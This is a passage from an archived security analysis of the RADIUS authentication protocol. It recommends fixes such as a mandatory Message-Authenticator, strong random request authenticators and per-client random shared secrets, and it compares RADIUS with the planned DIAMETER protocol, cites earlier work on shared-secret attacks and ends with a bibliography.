When the server generates a RADIUS Access-Accept or Access-Reject
packet with a SHA-1-HMAC, it should set the Response Authenticator to
the associated Request Authenticator. If a client receives a RADIUS
Access-Accept or Access-Reject packet that has the SHA-1-HMAC
attribute, it should not test for the validity of the Response
Authenticator.
When a client generates a RADIUS Access-Request packet, it should
include the SHA-1-HMAC attribute. When the server receives a RADIUS
Access-Request packet, it should verify the SHA-1-HMAC attribute.
Update
======
There is just such an attribute defined as a RADIUS Extension in RFC
2869, called the Message-Authenticator. This attribute contains the
output from an MD5 based HMAC, keyed with the shared secret, of the
entire RADIUS packet. This attribute adequately protects RADIUS packets
that include this attribute. Unfortunately, this attribute is not
required to be consistently used (in fact, it is only required to be
used when the new EAP-Message attribute is used). RFC 2869 does suggest
that this attributes be used in cases where the User-Password attribute
is not included in the RADIUS Access-Request packet; unfortunately, the
vulnerability seen in section 3.4 requires that the User-Password
attribute is in use. Further, RFC 2869 does not suggest that the server
and client should have a mode where packets received without the
Message-Authenticator are discarded. Without this mode, the attacker
can simply strip off the Message-Authenticator attribute from a RADIUS
client Access-Request packet, modify the packet and then replay the
resulting packet. (It should be noted that the attacker cannot strip
off this attribute from a server Access-Accept or Access Reject packet,
as that message is separately authenticated by the Response
Authenticator).
The Message-Authenticator attribute could provide an effective defense
if it were required to be more consistently used. Clients and servers
should be able to be placed in a mode where RADIUS packets without the
Message-Authenticator attribute are silently discarded.
Miquel van Smoorenburg added : In the 1.6.5 snapshot of Cistron Radius,
soon the be the real 1.6.5, this has been fixed for Linux by using
/dev/urandom to seed the random generator.
4.3 Suggested Client Behavior Modifications
Authenticator Behavior
The RADIUS specification should require a strong cryptographic PRNG for
generation of the Request-Authenticator, such as the PRNG specified in
ANSI X9.17 appendix C or FIPS 186-2, appendix 3.
Shared Secret Behavior
The RADIUS specification should require each RADIUS client use a
different Shared Secret. It should also require the shared secret to be
a random bit string at least 16 octets long that was generated by a
strong cryptographic PRNG.
In order to facilitate entry of this bit string, clients and servers
should allow for input of arbitrary binary data. Quite likely, the
easiest solution is to allow for the entry of hexadecimal digits.
Miquel van Smoorenburg : Also fixed in the 1.6.5 snapshot.
4.4 General Comments
Both servers and clients should support the base RADIUS protocol and
this extended RADIUS protocol. Both the server and the client should
allow the administrator to enable the use of these RADIUS extensions on
a client-by-client basis. This should be an explicit configuration
option, not just an automatic determination made by the server. An
automatic determination made by the server could lead to an attack
where the attacker attempts to force the client/server interactions
into the old RADIUS mode.
If it is not possible to change the RADIUS protocol, the system can
still be made much more secure by just following the suggestions in
section 5.3, which can all be implemented while still remaining
completely compliant with the existing RADIUS protocol.
4.5 Why Modify RADIUS?
So, why attempt to modify RADIUS at all? Why not just go to another
(presumably more modern, more secure) protocol? Well, for the most
part, the answer is \"Because such a protocol doesn\'t currently
exist.\" In the near future, however, DIAMETER is likely to be released
by the IETF.
DIAMETER is the planned RADIUS replacement. The great majority of all
the protocol work that has gone into DIAMETER has been directed to
removing some of the functional limitations imposed by the RADIUS
protocol. Effectively no work has been done as relates to the
client/server security of the protocol. (CMS is defined, but this is a
security layer for the proxy to proxy interaction, not the client to
proxy/server interaction)
So, does this mean that they continue to use even RADIUS\'s ad hoc
system? No, they removed all security functionality from the protocol.
They did the protocol designer\'s equivalent of punting. Section 2.2 of
the current DIAMETER protocol spec says: \"Diameter clients, such as
Network Access Servers (NASes) and Foreign Agents MUST support IP
Security, and MAY support TLS. Diameter servers MUST support TLS, but
the administrator MAY opt to configure IPSec instead of using TLS.
Operating the Diameter protocol without any security mechanism is not
recommended.\"
So, all security aspects of the protocol are handled by IPSec and/or
TLS. From a security aspect, this strikes me as a very good idea. Both
IPSec and TLS are fully featured (sometimes too fully featured)
protocols that many people have reviewed. (That\'s already much better
than RADIUS ever did).
Examining this from a slightly different angle gives me some cause for
concern, however. It strikes me that the overhead imposed by a full
TLS/IPSec implementation is very significant for many current-day
embedded devices. This would seem to indicate that (at least in the
near future) manufactures are going to either continue to use RADIUS or
ignore the DIAMETER standard and perform DIAMETER without TLS or IPSec.
Because of this, I suspect that it would be advantageous to push for at
least minimal RADIUS protocol revision.
5 Previous Work
There has been some independent previous work with the RADIUS protocol:
Attacks 3.5.3 and 3.5.4 are likely the attacks referred to in the
RADIUS RFC.
The known password attack on the shared secret using the Access-Request
packet (attack 3.3) appears to have been first observed in September,
1996 by Thomas H. Ptacek. Paper #1
[http://skoda.sockpuppet.org/tqbf/radius-security.html]
The known password attack on the shared secret using the Access-Request
packet (attack 3.3), and the shared secret attack on the Access-Reject
and Access-Accept packets (attack 3.1) were independently observed in
July, 1997 by Reilly (rich.friedeman@ANIXTER.COM) Shared Secret
Recovery in RADIUS
[http://baroque.sdsu.edu/hyper/sdsu_sec/sdsu_sec.jul97/0004.html]
6 Bibliography
RFC 2138, \"Remote Authentication Dial In User Service (RADIUS)\", by
C. Rigney, A. Rubens, W. Simpson, S. Willens.
[http://www.ietf.org/rfc/rfc2138.txt]
The DIAMETER Base Protocol
[http://www.ietf.org/internet-drafts/draft-ietf-aaa-diameter-07.txt]
DIAMETER CMS Security Application
[http://www.ietf.org/internet-drafts/draft-ietf-aaa-diameter-cms-sec-02.txt]
FIPS 186-2
[http://csrc.nist.gov/publications/fips/fips186-2/fips186-2.pdf]
The Handbook of Applied Cryptography, by Alfred J Menezes, Paul C. van
Ooschot, Scott A. Vanstone.
[http://www.cacr.math.uwaterloo.ca/hac/index.html] Chapter 5, chapter 6
and chapter 9. Most notably: The MD5 based stream cipher as a
synchronous stream cipher (6.1.1, ii) The use of cryptographic
functions in pseudorandom number generation is discussed in section
9.2.6. The use of a MDC in the creation of a MAC is discussed in 9.5.2.
An Analysis of the TACACS+ Protocol and its Implementations by Solar
Designer [http://www.openwall.com/advisories/OW-001-tac_plus.txt]
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH
